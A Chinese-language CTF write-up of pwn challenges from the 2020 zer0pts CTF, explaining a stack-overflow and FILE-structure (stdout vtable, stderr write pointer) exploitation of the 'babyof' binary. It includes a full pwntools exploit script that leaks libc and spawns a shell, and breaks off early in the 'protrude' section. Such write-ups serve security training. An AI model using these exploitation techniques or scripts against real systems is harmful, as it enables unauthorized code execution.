2020 zer0pts CTF 部分PWN WriteUp。babyof是个栈溢出漏洞,通过修改stderr的IO_write_ptr的低一字节和stdout的vtable中的__overflow指向main函数,使得在调用exit函数刷新文件结构体的时候泄露libc地址并返回到main函数继续执行,进而再次利用栈溢出getshell。protude也是一个栈溢出漏洞,通过控制循环中的index绕过canary,两次泄露计算出rbp的值,在第三次溢出时进行两次栈迁移,将栈迁移到bss中getshell。grimoire格式化字符串漏洞泄露libc基址和canary,然后栈溢出覆写file_path为/proc/self/fd/0,程序在对file进行ftell操作的时候会返回-1,强制转换为unsigned后造成栈溢出,输入数据构造rop chain。diylist利用程序实现过程中的类型混淆泄露地址和构造DoubleFree,覆写free_hook,getshell。

babyof

分析

很容易发现程序中存在的漏洞,栈溢出,但是程序调用的外部函数仅有read,setbuf,exit这三个函数。此时如果想要泄露libc基址的话就需要覆写stdout结构体中的IO_write_ptr指针的低位为\\\\x00即可,但是当我们更改指针低字节之后还是没有办法输出,因为函数没有任何的输出函数,因此就不会刷新stdout

这里我们就需要强制缓冲区刷新,即调用_IO_OVERFLOW,这里存在一个exit函数,因此我们可以直接exit,函数会调用_IO_cleanup_all,刷新每一个文件结构体,这是我们就可以泄露出libc的基址,但是泄露地址之后程序就退出了,因此我们还需要修改vtable表中的__overflow指针为main函数地址,以继续执行程序,再次利用溢出修改返回地址getshell

但是如果我们修改的是stdoutvtable__overflow指针的话,我们的libc就无法泄露,注意到_IO_list_all的连接顺序为stderr,stdout_stdin,因此我们可以修改stderr_IO_write_ptr的低字节和stdoutvtable。在exit函数执行刷新文件结构体的时候就会首先泄露libc基址,接着就会重新返回main函数执行,再次利用溢出布置rop chain,即可getshell

利用

首先看一下程序在main函数结束的时候的寄存器状态

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/023a776e-7ca8-4ac4-9493-d588127f8155/Untitled.png

由于调用read函数之后立即返回,其寄存器中的参数还没有被覆写,因此只需要修改rsi即可。那么我们如何在没有libc地址的情况下修改stderr的结构呢,stderr的地址存储在.bss段中

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b6eb18a1-cafc-4e5f-91bc-f2a65a8efd2e/Untitled.png

我们可以将stderr-0x8的地方覆写为p_rsi_rstderr+0x8的地方写入接下来的read.plt+rop chain,然后将栈迁移到stderr-0x10的位置,此时就可以将stderr的真实地址写到rsi寄存器中,随后进行read即可修改stderr结构体中的相关数据。

在修改stdout结构体的时候需要覆写stdout指针的低字节,使得在覆写vtable的地址的时候绕过libc地址,之后再对stdout地址进行复原,使得在输出的时候可以正常运行。

# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

p_rdi_r = 0x000000000040049c
p_rsi_r = 0x000000000040049e
p_rbp_r = 0x000000000040047c
leave_r = 0x0000000000400499
ret = 0x000000000040047d
p_r15_r = 0x000000000040049b
stderr_address = elf.sym['stderr']
stdin_address = elf.sym['stdin']
stdout_address = elf.sym['stdout']

read_address = elf.plt['read']
exit_address = elf.plt['exit']
main_address = elf.sym['main']

fake_vtable_address = elf.bss()+0xf00

payload = b"a"*0x28
payload += flat([
    p_rsi_r,
    stderr_address - 0x8,
    read_address,
    p_rsi_r,
    stderr_address + 0x8,
    read_address,
    p_rbp_r,
    stderr_address - 0x10,
    leave_r
])
p.send(payload)
raw_input()
p.send(p64(p_rsi_r))
raw_input()

payload = flat([
    read_address,
    p_rsi_r, stdout_address - 0x8,
    read_address,
    p_rsi_r, stdin_address - 0x8,
    read_address,
    p_rsi_r, stderr_address - 0x8,
    read_address,
    p_rsi_r, stdout_address + 0x8,
    read_address,
    p_rbp_r, stdout_address - 0x10,
    leave_r
])

p.send(payload)
raw_input()

fake_io = p64(0xfbad1800) + p64(0)*3 + b"\\\\x88"
p.send(fake_io)
raw_input()

# overwrite stdout address to bypass libc address overwrite
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'] + 0x70)[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()

p.send(payload)
raw_input()

# overwrite stdout vtable address to fake vtable
payload = p64(2) + p64(0xffffffffffffffff)
payload += p64(0)*2 + p64(0xffffffffffffffff)
payload += p64(0)*8 + p64(fake_vtable_address)
p.send(payload)

# change stdout address back
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'])[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()

payload = flat([
    read_address, # overwrite stdout
    p_rsi_r, elf.bss()+0x808,
    read_address,
    p_rbp_r, elf.bss()+0x800,
    leave_r
])

p.send(payload)
raw_input()
p.send(fake_io)
raw_input()
payload = flat([
    p_rsi_r, fake_vtable_address,
    read_address,
    exit_address
])

p.send(payload)
raw_input()
fake_vtable = p64(0)*3 + p64(main_address)
p.send(fake_vtable)
raw_input()

libc.address = u64(p.recv()[0x20:0x28]) - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

payload = b"a"*0x28
payload += flat([
    p_rdi_r, libc.search(b"/bin/sh\\\\x00").__next__(),
    libc.sym['system']
])
p.send(payload)
p.interactive()

protrude

在内存中long存储的是8字节,但是程序中只是按照4字节去分配的,因此存在缓冲区溢出。但是程序存在canary保护,我们可以通过覆写i的值来绕过canary。每次溢出都需要覆写返回地址指向calc_num函数以持续获得控制流。因此选择n=22,输入14个数字之后到达i的存储位置。

通过覆写i的值绕过canary的栈值,直接覆写返回地址,那么第一次输出的SUM的值由如下构成

calc_address + rbp + rbp-0xb0 + canary + 0x16*2

我们可以将返回地址改写为calc_num+0x9的值,以重复使用之前的栈帧,同样通过覆写i的值绕过canary的值,第二次输出的SUM的值如下,此处的buf是一个任意值用来覆写rbp中存储的值。